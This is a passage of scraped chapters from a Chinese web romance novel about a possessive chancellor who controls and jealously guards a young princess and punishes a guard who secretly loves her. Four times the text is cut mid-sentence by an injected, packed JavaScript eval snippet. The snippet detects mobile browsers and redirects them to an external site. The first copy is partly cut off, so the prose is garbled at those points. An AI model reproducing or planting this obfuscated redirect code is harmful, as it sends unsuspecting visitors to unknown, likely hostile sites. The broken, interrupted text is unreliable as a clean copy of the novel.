皇帝冷静的表情终究维持不住了,他紧皱着眉,厌烦地甩下攥成一团的经书,又挥手示意已经从暗处显身的千牛卫大将军退下,嗤笑道:“忘恩负义?梓潼,人不能太贪心了,孤是帝王,怎能容你和周家掌控?另外,你想和孤生同衾死同穴?那是永远不可能的事情。孤不会和你葬在一起。不止如此,孤还要命人做法,叫你永生永世都不会和孤碰面。” 讥讽完,看着周皇后煞白的脸色,皇帝心情总算好了些许,意味不明地叹道:“管天管地的夜叉,谁受得了啊。” 周皇后泪如雨下,眼里却泛着诡异的光晕,她死死盯着皇帝,“那你记得找个好大师做法,我就是死了,也会拼命缠着你。永生永世都不想见到我?哈哈哈!你可以试试,便是我最后一根骨头被碾碎,三魂六魄只剩一魂,上穷碧落下黄泉,转世投胎,哪里我都不会放过你!!” 话落,养心殿外忽然雷声轰鸣,倾盆大雨立刻砸了下来,配上周皇后堪称厉鬼在世的语气,令人胆寒无比。 福来作为近侍太监,大场面见过不少,神态倒是还算平静,另外几个宫人可没这么好的心态,吓得差点叫出声来。 皇帝笑容消失,眉目间重新爬上了厌恨,显然是记起了早些年周皇后不可理喻的要求和做派。“拉走!” 这话是对千牛卫大将军说的。 只是几息的功夫,周皇后就被反剪住双手,连叫骂不止的嘴也用绳索绑上,做法不讲任何尊卑,对皇帝的命令绝对服从。 吵闹不休的养心殿里,总算安静了下来。 等人走后,皇帝头疼地捏了捏眉心,福来识趣地上去揉肩,小心地宽慰。 “找几个大师来,给宫里驱驱晦气,给孤的孩子们也全都驱驱晦气!真是夜叉,敢编排孤的血脉!” 福来一一应下。 “对了,孤记得开了府的孩子里,就小十一个人没娶夫吧?” “十殿下比起其余殿下,年方十七,按祖宗规矩,要到十八才能娶夫纳侍。”福来恭敬地回道。 “等她伤好,寻个时机,给她赐一个品性上佳,大度得体的驸马。孤从前就是太讲规矩,才被那种夜叉缠上,娶妻纳妾,娶夫纳侍,皇子理应如此,万万不能有一个夜叉正室,什么只守着一个唯此一人,谁敢只娶一个,孤要他们好看!” 皇帝算是一朝被蛇咬,十年怕井绳,有阴影了。 试问,谁能受得了被一个人天天管着不许多看别人一眼,他反正是受不了。同理,他的孩子们谁敢窝囊成那样,也不配当他的儿了! …… 出宫的长青大街上,驾车的侍卫不时扬着马鞭,辘辘的马车声里伴随着骏马嘶鸣,驶得极快。 路上四下无人,京师刚出了这么大的事情,几乎没有百姓敢随意出来,全都躲在家中,等风波过去。本该喧哗热闹至极的朝暮节变得冷清无比。 马车几乎是畅通无阻,眨眼间便到了朱雀街入口。 不止是太子党羽多居于此,皇帝当初为表恩宠赐给裴渡舟的丞相府也在其间。 车里。 自下朝过后就准备向裴渡舟禀事的孟兴到现在还没能开口说上一句话,小心翼翼地跪坐在紧闭的车门边,大气也不敢喘,耳边是裴渡舟对身旁同样跪着的人毫不留情地叱骂。 “糊涂东西,你们平日里都是瞎子吗!是不是非要等到少隐爬上她的床,你们才看得见!” 纪陆和罗玄两人如履薄冰,面上是浓得化不开的惊惧。 他们今日完成裴渡舟交代的撺掇百姓去告状的任务后,紧接着回了公主府一趟去看江令薇有没有受伤,后又马不停蹄赶去宫外等候,准备向他复命。 不过,和孟兴的待遇大差不差,裴渡舟只听他们说了几句话,主要是关于江令薇的伤势是否有碍。 一交代完,便被责骂到现在。 裴渡舟一般不怎么问罪侍从下人,差事办砸的直接杀了了事,万事都激不起他的半点情绪,不了解他的人乍一看只怕会以为他是个端方君子。 但一旦牵扯到江令薇,那是冷静也没了,肚量也没了。 如同神祇的面貌也掩不住周遭萦绕的那股狠厉杀意,盘亘在宽敞的马车车舆里,叫跪着的三人无不提心吊胆,脊背发凉。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974421|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “还是说,你们两个也怀着不可见人的心思?故意不回禀,想着开了少隐的先河,你们也好得个伺候薇薇的机会?”裴渡舟脸色阴沉得好似凝了一层霜雪,狭长的瑞凤眼里蕴藏着的情绪令人心惊。 那是深陷于爱欲中人才会有的嫉妒。 如影随形。 记陆和罗玄面色比纸还苍白,闻言立刻异口同声地否认:“主子明鉴!我二人绝对没有这种大逆不道的念头!” 主子把殿下看得多么重要,所有人都看在眼里,几乎到了连殿下多看一眼别的男人,都会气怒的程度。若是殿下真移情别恋,要纳侍娶旁人,主子会做出什么样的事情,谁也不敢想。 便是把他们杀了,他们也不敢啊! “呵……”裴渡舟倏地冷笑,分明是扬唇的弧度,但眸中毫无温度,反而闪烁着鬼魅般诡谲的凶光。“我警告你们,如若再有这种事发生,你们两个也不用活了。” 语气较之刚才平静了些许,乍一听仿佛只是一句玩笑话。 但纪陆和罗玄丝毫不敢怀疑裴渡舟是在说笑,连回话的声音都控制不住地发颤,“……是……是!” 他们两人虽是心腹近侍,但只要涉及到江令薇,任何人任何事都要为之让步。 车舆里重归寂静,只听得车轱辘疾速碾过条条街巷的响动。 裴渡舟拧着眉心扯下车帘,见前头不远处就是丞相府的匾额,只需片刻便能抵达,冷峻的神色总算缓和了些,但不知想到什么,那双瑞凤眼又眯了起来,浮动着如剑般的锐利光芒。 慎之又慎候了半晌的孟兴紧张地吞了口唾沫,颤着双手从袖中取出一个茶碗口大小的方盒,举于头顶。 “主子……这是属下从孙御史祖籍淮州家中搜出的翡翠扳指,属下查过,孙御史死后,祖籍有亲眷来殡殓,家宅中精贵的物件全被带回淮州,这枚扳指也在此列。” 裴渡舟轻扫下眼尾,也不接。 在孟兴额头冒出冷汗,忐忑更甚时,才慢条斯理地取走方盒,拿出那枚染血的翡翠扳指,端详着道:“怎么不交给陛下?” 扳指是御赐之物,宫匠特意打造,世间只此一枚,裴渡舟在孙御史死之后不久便称不慎丢失。 为此还亲去皇帝面前请罪,当时还有不少人在场,见状纷纷感叹裴渡舟皇恩深重,御赐之物丢失连一句责问都没有,可见甚得帝心。 然而,丢失的物什却出现在早已死去的孙御史家中,还染了血,其中种种,是可以合理怀疑孙御史之死跟裴渡舟有关的。 肆意杀戮同僚,该判死刑。 孟兴听明白了裴渡舟的言外之意,心瞬间悬了起来,俯身重重一拜,“属下只忠于丞相您,苍天可鉴!” 孙御史的死因明面上是为官不正,自食恶果不可活。实则内地里大有乾坤,正是太子所斥骂的那样,死于裴渡舟之手。 皇帝当初有所察觉,暗中给孟兴下令,要其悄悄追查,务必要揪出幕后真凶。虽然皇帝没有明说怀疑裴渡舟,但孟兴知道,皇帝想看到的是什么。借着丞相,铲除异己,扳倒太子及其周家,但时时刻刻都防备着,准备让丞相变成第二个人人喊打的周家。 这些事情,孟兴看得清清楚楚。 就连每日送进丞相府批阅,再呈进宫中的奏折,也派他命人日日监视,何时送的,写的什么,会一一花费大量人力去对,唯恐被丞相钻空子,动手脚。 孟兴想起皇帝当初对自己的百般拉拢,不由得感到讽刺,再多荣华富贵遇上这么一位容不下人的天子,也是空谈,指不定哪天就会死于所仰仗,被看重的能力。 但丞相不同,孟兴早在多年前被他提拔的那一天起,便从心里发誓要追随这位主。 “错了。”裴渡舟单手把玩着那枚刻着字的扳指,翠绿的颜色衬托得他手指白皙更甚,根根修长,骨节分明,冷白的皮肤间,脉络交错的青筋又昭显着主人的力量。 孟兴很快反应过来,改口道:“还有令薇殿下。” “令薇也是你叫的?”裴渡舟掀开眼皮,语气毫无波澜,但双指间的扳指却隐隐有了裂开的趋势。 纪陆和罗玄的经历摆在眼前,孟兴根本不敢触霉头,连忙认错。 马车恰好停下。 裴渡舟随手搁下扳指,掀开车帘就大步飞奔进府,行色匆匆。 留下三人面对着那枚碎成碴的扳指兀自胆寒。 26. 第 26 章 穿过连接丞相府与公主府的暗道,裴渡舟面无表情地踏入卧房。 如今已是未时一刻,虽未曾至晚间,但她淋了雨,天又寒,这会应是已经睡下了。 果不其然,隔着那道棕色珠帘,不远处的床榻上被褥微鼓,依他的目力,能够清晰瞧见她脑袋间露出来的卷曲青丝。 他眸中情绪明明灭灭,举至珠帘间的右手却第一时间就收了回来,不愿扰了她安睡。 纵使,胸膛里的物什嫉妒得发狂,迫切地想要得到一个解释与保证。 …… 转身推开殿门,李疏垂首候在那。 “如何了?”裴渡舟听见自己问。 “殿下无大碍,每日……”李疏回答得很详细,该吃什么药,膳食忌口,伤口几天一换药……每一处地方都没漏下。 说得繁杂琐碎,听的人却始终无一丝不耐,将所有该注意的地方全部牢记于心。 最后,李疏观察着裴渡舟脸色,试探着道:“少隐也喝了药,药力温和有安眠之效,现在已经歇下了。” “让他滚过来。” 语气冷漠无比,和刚才的态度截然相反。 留下这么一句毫无温度的话,裴渡舟踱步进了里间。 李疏摇着头无声叹口气,自己很早之前给少隐开胸闷药方的时候,就暗地里提醒过他,可惜少隐却一副“你是不是疯了,说的是什么话,我怎么可能”的模样。 从那个时候起,李疏就知道,早晚会有这一天。 毕竟,没人会无端胸闷心涩。 那是因天不遂人愿造成的苦涩与嫉妒,是心病,非药物可治,越压抑,越不愿意承认,病发得越快。 …… 卧房里门窗紧闭,暖意熏人。 床边落下一层阴影,有人端坐于此,眉眼低垂,静静盯着睡着的江令薇。 她整张脸都埋在锦衾中,呼吸均匀,睡得香甜。这么近的距离,连额头前新长的毛发都能瞧得一清二楚,一根根地耷拉在白净的额前,呆呆的。 覆于面上的锦衾被男人一点点扯下。 她面庞透着健康的粉意,俨然是睡得极深的状态。 秀眉浓密,形似远山,长睫卷曲,在眼下晕开一片阴影,鼻梁挺拔,线条清秀,唇瓣殷红饱满。 比之初见时的落魄模样,她现在已然担得起国之公主的称谓,年岁渐长,五官长开,越来越有自己的想法了。 “乖孩子,你真是长大了。”裴渡舟手指缓缓插进她发间摩挲,嗓音低沉,透着十足的柔和,仿若欣慰于幼子初长成的父亲。 可嘴里说着夸奖的话,眸中却晦暗不明,幽深浓沉,似是盘亘于地下的暗河,平静的浪潮里栖息着令人心惊的力量。 他一边抚摸着她的头发,一边俯身靠近她耳边,喃喃低语:“但无论怎么变,你都只能是我的。” “要知恩图报,不要让我伤心,薇薇……” 明明是祈求示弱的话,可裴渡舟的眼神却一如刚才,没有半点变化,里面充斥的全是对江令薇不含分毫掩饰的占有欲。 角落里的青鹤瓷博山香炉薄雾依旧,雪莲香也如故。 只看皮相,江湖也好,庙堂也罢,都无人能及他。世间一切高洁之物似乎都能用来形容裴渡舟。 是岭上雪,为云间月…… 睡得正熟的江令薇却忽地皱眉,下意识地朝外偏了偏头,耳处似是有什么蚊蚋叮咬,有些刺痛。 一只修长大手轻柔抚过她微红的耳垂,又将她缠着细纱布的左手小心地塞进锦衾里盖着。 接着,压得极为柔和的声音随之响起。 “睡吧,乖孩子……” 一声又一声的轻哄萦绕在温暖如春的殿内,若是朝中百官看到了这幅画面,怕是都会惊得瞪大了眼睛,以心狠手辣闻名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974422|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的裴丞相竟会有这样温柔的一面。 江令薇双眉弧度渐渐缓和,即使仍在睡梦中,但她也慢慢反应过来是他在说话,跟随本心地抬起右手去找他的位置,在他握住她的手后,便用食指摸摸他的指节,有一下没一下地缓慢揉捏。 这只是一个下意识的动作。 刚和裴渡舟在一起时,她因为幼年经历,尽管已经不用再为吃食发愁,可许是从前饿坏了,半夜会偷溜起来,跑去厨房吃东西,一点也不管肚子根本撑不下这么多食物,狂吃海塞,被撑得难受隐隐作痛也不在意,生理性泪水流了满面,可动作始终不曾停下,像被下了咒。 当时,他刚被晋为丞相,政务繁忙,经常是白天挤出时间教她识字读书,晚上处理公文,后半夜才回去陪她休憩,也恰是如此才没有及时发现她的异样。终于,在她第二次溜进厨房不顾身体吃东西的时候,被少隐发现,告知于他。 结局自然是他立下规矩,威胁冷脸齐上阵,总算扭转了她的坏习。 但好景不长,她为此竟是失眠了,彼时她尚不会说一些完整的话,他循循善诱了很久,才在她磕绊的话语里,找到原因。 不是不开心,亦不是真的饥饿,只是脑海里一直想着那些吃食,想得睡不着。虽然身体不饿,但人从前饿久了,有时候连饥饿与否都分不清了。 他便每天前半夜来哄她睡觉,小孩子听的童谣歌谣,志怪故事……他都学来念给她听。 分明是清冷如玉石敲击的嗓子,哄睡时却偏偏压得比春水还柔,经常惹得她双眼亮晶晶的,无意识地伸手摩挲他放在自己腰间的手掌。 虽然在她逐渐知事后,他没再哄睡,但这个习惯却保留了下来。 忆起从前她对自己的依赖,裴渡舟眸中阴霾散了许多,薄唇微不可查地扬了扬,吐露出的话语更为轻柔。 “是有人歪心下流勾引你,自不能怪你……” 27. 第 27 章 狂风大作的夜。角落里缓慢摇曳的灯烛。小案上盛有杏仁茶在冒热气的青花瓷碗。绣着精细花纹的帷幔。 江令薇从床上爬起的动作一顿,还未彻底清醒的双眼盯着那碗软糯香甜的杏仁茶渐渐出了神。 书上说,为人父母者,才会呕心沥血为子女。 裴渡舟不是她爹娘,却比爹娘做得还要多。 她生性不爱吃甜食,杏仁茶却是她为数不多喜欢的吃食。府中下人很擅长做这道吃食,她有段时间天天吃。 然而,一年前一次偶然的机会,却叫她发现做这道吃食的人竟是他。 不止如此,厨台上刚切好的鱼片,砧板上剁成馅还未处理的肉饼,空无一人只有他的厨房……无一不昭显着他在干什么。 为她洗手作羹汤,可他明明很爱洁,不是吗。 府中下人会做的膳食比他多了去了,他为什么要做这种费心没必要的事情。 当时她静静伫立在门外,看着他不停地在灶台前忙前忙后,起锅浇油,翻炒食材,添柴加火,神情专注,仿佛那道道膳食是极为重要的东西,不能有一丝差池。 她鬼使神差地没有走进厨房,看了一会儿后便回到花园习武。累得肚子咕咕叫时,他换了身装束找来,月白锦袍,墨发用碧玉发冠固定,身姿挺拔似修竹,气质俊朗令人移不开眼。 这样如玉似的美人,有谁会把他跟刚才那个衣袖沾灰,周身染上禽类血腥气的人联想在一起呢? 用膳的时候,桌案上果然摆着那些眼熟的吃食,色泽诱人,香味令人食指大动。 可惜不好吃。除了杏仁茶。 她如实道出后,他面不改色,问她:“都看到了?” 她承认。他又问:“怎么没有进来。” “……嗯,我不知道,就是突然不想进去了。”她搞不明白当时的心理,回答得也云里雾里。 “我们是什么关系?”他忽然问了这样一个问题。 她当时有些怔愣,思考一会儿后,在他平静地注视下,笃定地答道:“恩人。你是我的恩人。” “恩人?”他倏地笑了,“恩人会为你洗手作羹汤?会像我们一样睡在一起?” 不等她理好懵乱的思绪,他的一连串反问就毫不留情地砸了下来。 “谁家恩人会这样帮你?伺候你?” “天家富贵,自古以来谁不想要,凭什么是你?我凭什么要帮你?” “口不对心,你很不乖。” 她哑然失语,不知道说什么才好。但心里却升腾起一丝疑问,明明……是他自己说要帮她的,如今为什么要反问她“凭什么”? 他牵起她的手,按在他胸膛的位置,往上是他青筋盘虬的宽厚手掌,蕴含着蓬勃的力量;往下是他温热又急促跳动的心脏,一下下的,将她的掌心烫得发颤。 不容拒绝的举动,毫无温度的双眸似一张铺天盖地的网,紧锁着她的身影,令她逃不开半点。 “别害怕,怎么流汗了,瞧你。”他又在笑,但掌控着她右手的手掌却不见松开,反而禁锢得更紧。 “……我——” “没事”二字还未说出口,他已然欺近,劲瘦有力的长腿抵开她闭合的双膝,线条肌肉分明的小臂随意撑在她身侧的圈椅上,居高临下地盯着她,似笑非笑道:“怎么了?” 她抿着唇,手指下意识攥紧,双膝和肩膀在他的触碰下起了一大片鸡皮疙瘩,明明早已亲密接触过无数次,但每回他这么看着她的时候,心里总是会不由自主地一紧,像被山中猛兽盯住,令人不寒而栗。 虽然心智渐全与日日学习的君王之道会滋生出隐秘的烦闷,对他总是逼迫质问的不满。 但,至少现在,那些烦闷与不满还敌不过对他的依赖与信任,以及丝丝缕缕的骇然。 以杏仁茶开始的回忆,最后以扬起的衣袂与打碎在地,把桌脚浇得湿漉漉的汤水作为结束。 江令薇脑海里的画面定格在他面目潮红,俯身吻过她耳垂时的低语。 “我们是夫妻,永远。” …… 轰隆—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974423|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闪电划破长空,屋外忽地有惊雷炸响,江令薇的神思在滚滚雷声下彻底清醒了过来。 “夫妻么……”她注视着温热的杏仁茶,喃喃自语。 虽然心里并不认可自己和他是夫妻,毕竟仪式未成,怎么能算夫妻? 但他是恩人,对她特别好的恩人,自然是他说了算。 吃着黏糊香甜的杏仁茶,她想。 …… 不大一会儿。 江令薇随手搁下吃得干干净净的青花瓷碗,又支开窗棂望了望天色,四周万籁俱静,已经很晚了。 而窗下罗汉床边的香篆炉里正在燃烧的香粉也验证了这一点,已是戌时。 往常早就回来的裴渡舟此刻却不见踪影。 明明周家的事情应该已经解决了才对,难道是周皓有什么动作吗? 独自待在殿里猜测是始终不会得到答案的,江令薇想罢,随即离开卧房,往书房的方向踱步而去。 一路上静悄悄的,当值的侍卫和下人连半个人影都未曾得见。至于隐在暗处的暗卫之流,不知怎的,江令薇有种直觉,他们也不在。 如今已经进入仲冬时节,又恰是望日。 圆月高挂,风冷星稀。 江令薇紧了紧肩上的靛蓝织锦翻毛斗篷,加快了脚步。 绕过淡雅静谧的正厅,穿过茉莉满园的后花园,到达花园拱门旁,正欲往右行时,忽闻不远处的书房传来一些细微的响动。 江令薇抬头一看,萧疏修竹被渐大的寒风吹得向粉墙上歪斜,在院外簌簌地响。墙头上隐约能窥见一点光亮,但也晃动得厉害,应该是灯笼在被风吹。 只是大半夜的,他不休息,命人在院子外面掌灯干什么? 怀着疑惑,她朝院门外走得近了几分,耳边的响动也更加清晰。 不全是竹影簌簌,还有着人说话的动静。 那声音像在冰水里浸过一圈,没有一丝温度,透着一股说不清的森寒与阴鸷,便是她听着都下意识地一哆嗦,冷得惊人。 28. 第 28 章 院外寒风肆虐,院内风虽没有那么大,但刚穿过院子拱门,江令薇便感受到一阵极低的气压,像山中阴冷的大蛇,居高临下地盘在暗处,嘶嘶地朝世人吐着蛇信子。 没来由的,她心里有些发紧。 就好像,里面正在发生的事情跟她脱不了关系。 一进院子右手边便是巍峨的假山石,山石旁栽种着时兴的花木,足有半人高,二者相加,刚好把江令薇纤瘦的身形完全挡住。 她下意识地屏住呼吸,拨开挡住视野的花骨朵,目之所及,眼界一片开阔,竹影婆娑,山峦围绕。 这处庭院是用作皇子处理事务的书房,分前院和后院,她自漠北回来后,每天除了雕刻念珠,便是来这处读书,他给她布置了许多课业。 也因此,她对这里可谓是很熟悉。从卧房出来,便下意识地抄着近道从后门进来。而此时,庭院中蜿蜒的甬道间,暗卫与仆从跪了一地。 从她的角度,能依稀看见前院都有仆从跪着的身影。但主屋前未点烛火,一片漆黑,距离又较远,根本看不清裴渡舟的身形。 这是把府中所有人全叫来了么?是要训话还是要吩咐什么事情?江令薇皱着眉,不得而知。 不过直接进去就知道了。 正当她准备现身时,熟悉的声音自前方廊下传来。 “多久了?” “……属下……” “不肯说么?你真当本相是瞎子?” 另一个人的声音也有些耳熟,略一思索,江令薇就想起了声音的主人是谁。 少隐。 不过跟他平日里冷静稳重的语气差别很大,像是做了什么亏心事,声线发颤。 但是就算再做什么亏心事,他如今受了伤,平常又被其余暗卫仆从尊称为大人,实在不能被当众下面子。江令薇暗自想着。吩咐这么多人过来,又对少隐说这种话,必定是要立威。 向前走了十几步,之前因为黯淡光线看不清晰的场面,逐渐变得真切可见。 裴渡舟冷硬的侧脸和少隐跪在地的身影潜入她乌黑分明的眼睛。 “渡——别!” 为少隐求情的话还未说完,江令薇忽然瞳孔骤缩,急忙奔过去。 啪—— 但还是晚了一步,夜色里响起一道极为沉闷的掌掴声。少隐直接被打偏了头,当着满院仆从下属的面,那张藏在面具下净白的脸被扇得通红。 院子里很安静,没人敢发出声音,即使只是稍微重一点的呼吸声也不敢。只余呼啸的寒风一刻不停地从空中席卷而过,刮得院中花木乱舞,沙沙作响。 风光如是江令薇近侍的少隐也会被毫不留情的责罚,按理来说,剩下的仆从应是会感到兔死狐悲,物伤其类才对。 但事实却恰与之相反。 在场众人,无人生出一丝一毫的不满,只有深深的畏惧与忠诚。 他们这些人都是早些年闹饥荒逃难的流民,一路上,不止有冻馁之患,更兼缧绁之厄。 当时因流民太多,一些府州衙门为求治理之地无流民逃窜,粉饰太平。便蒙生奸谋,欺上瞒下,暗地里追杀如他们一样的流民,安上莫须有的罪名,关进监牢等候问斩。 反正灾年死的人多,朝廷彼时有律令,特殊情况死刑可不上报京师,自行处理。 要不是遇到当时还是指挥使的裴渡舟替他们惩治了那些恶官,他们便可以去地府与亲眷团聚了。 虽说在被培养成暗卫后,得知救命恩人的形象并不如表面那样清直,但没有裴渡舟,他们也无今日。 况且眼下,也是少隐大人自作孽不可活,竟敢对殿下生了妄念,怪不了谁。 只是观殿下难看的神色,待会儿只怕会和主子吵起来。 “都退下。” 裴渡舟开了口。 他站在廊下,一双瑞凤眼无波澜,平静地看着朝他跑来的江令薇,似乎并不生气。但才打过人的手掌却骨节发白,青筋蚺起,昭显着他现在不渝的心情。 话落,除了廊下少隐与江令薇外,其余人纷纷行礼告退,不敢多耽搁一秒。 江令薇面上写满了无法理解,冲到廊下便弯腰想扶起仍低头跪着的少隐。“你为什么打他?”她眉峰聚拢成一条直线,侧目直直地看向裴渡舟。 因为刚飞奔过来,声音不可避免的有些大,听起来像在质问。 裴渡舟脸色瞬间阴沉,剑眉压得很低。 在江令薇右手即将要碰到少隐肩膀的一瞬间,一股大力忽地把她往前方扯。 她猝不及防之下便倒在了他的怀里,想起身,却被他牢牢摁住后颈,力道不算温柔。 “你干什么?”她惊呼,又挣扎,他反摁得更紧,那只宽厚的手掌不容许她有半点拒绝的可能。 “打他而已,怎么,你要替他打回来吗?”裴渡舟俯身慢条斯理地掐了掐她因不满而鼓起的双颊,语气出奇的温和,和他刚才强势的举动形成鲜明的反差。 回答的语气也很淡然,仿佛掌掴少隐是理所当然的事情。 江令薇拧着眉头,没想到会听到这种回答,她仰视着他,双眸中满是不解与莫名。“你在说什么乱七八糟的话,少隐做错了什么,你要这样对他?” “他不该打吗?你就这么护着他?” “如果是今天长青街上的事情,你生气,我理解。但跟少隐没有关系,是我自己擅作主张,你别怪他。” 掩藏不住的质问与解释撞在一起。 江令薇一愣,反应过来他的意思后,双唇微张,更加不明所以了。她怎么护着少隐了?他都当着那么多下属的面把人打成那样了,她连问问都不行吗? 见她蹙起的眉头,裴渡舟哪能不知她在想什么。 但恰是因为了解,才更不悦。 他毫无预兆地勾了勾唇,瑞风眸中却无任何笑意,他睨着地上双肩微颤的少隐,状似随意地道:“现下也无外人,你伺候薇薇这么久,算起来她还没见过你相貌如何,不如就趁现在,让她见见你。” “把面具摘下来。” 本就毫无温度的声线变得愈发寒冷,含着命令。 “……属下,”少隐嘴唇止不住地发颤,唇色也苍白得厉害,“面貌丑陋,恐污了殿下双目,请恕……属下不能听令。” 他脸上的面具裂开大半,然而始终不曾掉落。裂开的间隙里能窥到脸侧有一道鲜红的五指印,那双若秋水的眼睛也不复从前的光彩,变得灰败不已。银质面具像一张诡异的大网,无论是完好或破损,都能把人死死网住,铺天盖地,挣脱不得。 裴渡舟侧目,注视着江令薇皱成一团的脸,扯了下唇角,语气有些恶劣地道:“也好。我的薇薇是玉做的娃娃,自是不能跟沟渠里的虾蟹混在一起,会染上恶习的。” 一个是玉孩童,一个是臭鱼烂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974424|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虾。 一个吉祥多福寿,一个晦气污人目。 天生不相配。 这番明着贬低的话成功地让少隐跪立的身姿摇摇欲坠,包裹在黑色常服下肌肉贲张的长腿传来隐痛,清晨刚添的新伤与精神上的苦涩几乎叫他支撑不住。 饶是如此,他姿态依旧恭敬,竭力维持着笔挺的身姿,低垂双目,主子不问话,便当一个不言不语的哑巴。 院中寒风猎猎,雷声轰鸣,划破夜空的刹那,短暂地照亮了裴渡舟的神情。——一张凛然又冷漠的脸。 看似淡漠出尘,不把任何人放在眼底。但只有他自己知道,胸膛中的嫉恨有多重。 “什么玉娃娃,什么虾蟹?你在生哪门子气?”江令薇完全不明白裴渡舟怎么了,又听他对少隐的贬低,心里有些不喜。 但因为对象是他,所以选择略过指责他,改为关怀少隐。 “再说,相貌其实不算什么,”江令薇想偏头看少隐怎样了,但裴渡舟从始至终都没有放开对她的桎梏,她根本挣不开。 面对他莫名其妙的怒火与禁锢,她心底也渐渐蒙生出不满,然而想起今天街上的擅作主张,到底没表现出来,压着性子道:“我听不懂你在说什么,反正在我看来,皮相远没有骨相重要,不要看皮相。要看唔——” 话语戛然而止。 因为裴渡舟捏住了她的双颊,他直勾勾地盯着她,要笑不笑道:“你很会安慰人嘛。” “怎么平时跟我说话不这样呢?” 他眸中寒意极重,清冷的声线中压抑着怒火。 绕是对情感迟钝如江令薇,在此刻,也恍惚间意识到了什么。 她强行按下愈发增长的火气,努力修饰自己起了情绪的声音回道:“可是我也安慰过你,人不能一生气就翻旧账,这不公平。你哪里生气了,我哪里做得不好,你说出来,我会好好考虑的。” 是会考虑,而非说什么改什么。 有理的改正,无理的则抛之脑后。 她从来不是一个多么听话的人,向来只认同自己所想。只是因为对象是他,某些时候才愿意顺从,附和他。 裴渡舟盯着她看了半晌,眸光明明灭灭。 江令薇本来已经做好了被一直逼问的准备,谁料他意外地没说什么,手掌下移至她肩颈,将斗篷绦带系得更紧了几分,语焉不详道:“生气么?我是有些生气,有些人把我当瞎子糊弄。” “你说,我该生气么?” “是少隐?”江令薇不确定地开口,见裴渡舟不说话,心里知道必定是她说对了。在他平静地凝视下,她想了一会儿,回道:“很生气吗?” 裴渡舟未曾回应,只是居高临下地盯着她。 “可……”江令薇眉心紧拧,话都到了嘴边,终究还是咽了下去。按他的身份地位,少隐哪来的能力给他气受,倒是少隐自己被他打得不知道成什么样子。 哪里像有那种能耐给他气受的人呢? 当然,这些话,江令薇不是脑子不清醒的时候是万万不会道出口的。 见他一直看着自己不说话,冷峻的面容掩在黑暗中,唇线抿得很紧,莫名的显露出几分萧瑟凄凉的意味来。 忆起醒来的那碗杏仁茶,江令薇唇瓣嗫嚅两下,不自觉地放柔了语气,左手主动环上他结实有力的腰身,轻轻摩挲着紧实的肌肉线条,哄道:“别生气了,渡舟哥哥。” 29. 第 29 章 裴渡舟依旧不语,面容冷峻,但桎梏她后颈的手掌却悄无声息地顺着她脊背的弧度下移,隔着暖和的斗篷轻柔抚摸,感受属于她的温度。 动作细微,不过江令薇很敏感,察觉到他态度的松动后,立刻趁热打铁,一双杏眸眼巴巴地望着他,低声轻哄。 嗓音纵然不如裴渡舟某些时候压得低,但能让她这么哄着说话的也就只有他一人了,轻轻柔柔的,似春日里微弱的摆条风一下下地吹动枝桠。 渐渐的,枝叶绿了,人心化了。 裴渡舟脸色没太大变化,仍旧板着,然而那双朗星般的眸子一眨不眨地盯着她,里面柔得仿若能溢出水,将人淹没。 在这大风肆虐的漫漫长夜,他目不转睛地望穿着一人,其间的情意藏也藏不住。 低哄似春风,一声声盘亘在较为安静的庭院内,与之回应的还有不时震颤天地的滚滚雷电。 少隐从始至终没有变换过姿势,像尊无知无觉的塑像,没有吩咐,便绝对不会出声打扰主子们的谈话。即使喉头涩得厉害,熟悉的气闷感在胸腔里徘徊,冲撞。 这回与之前每一次都要不同,心间仿佛生了一只无形的大手,放肆地把那颗支离破碎的心搅弄得更为刺痛,刻印着留下一个不争的事实:他是个需要忏悔的罪人,死不足惜。 被当众掌掴的难堪似乎都没有此刻来得令人苦闷难捱。 “人都会犯错,渡舟哥哥,不要再生气了。”江令薇嗓子都要说干了,裴渡舟阴沉的神情总算好转了许多。 “三心二意,水井枯了你知道来汲水了,别以为我次次都会配合你。” 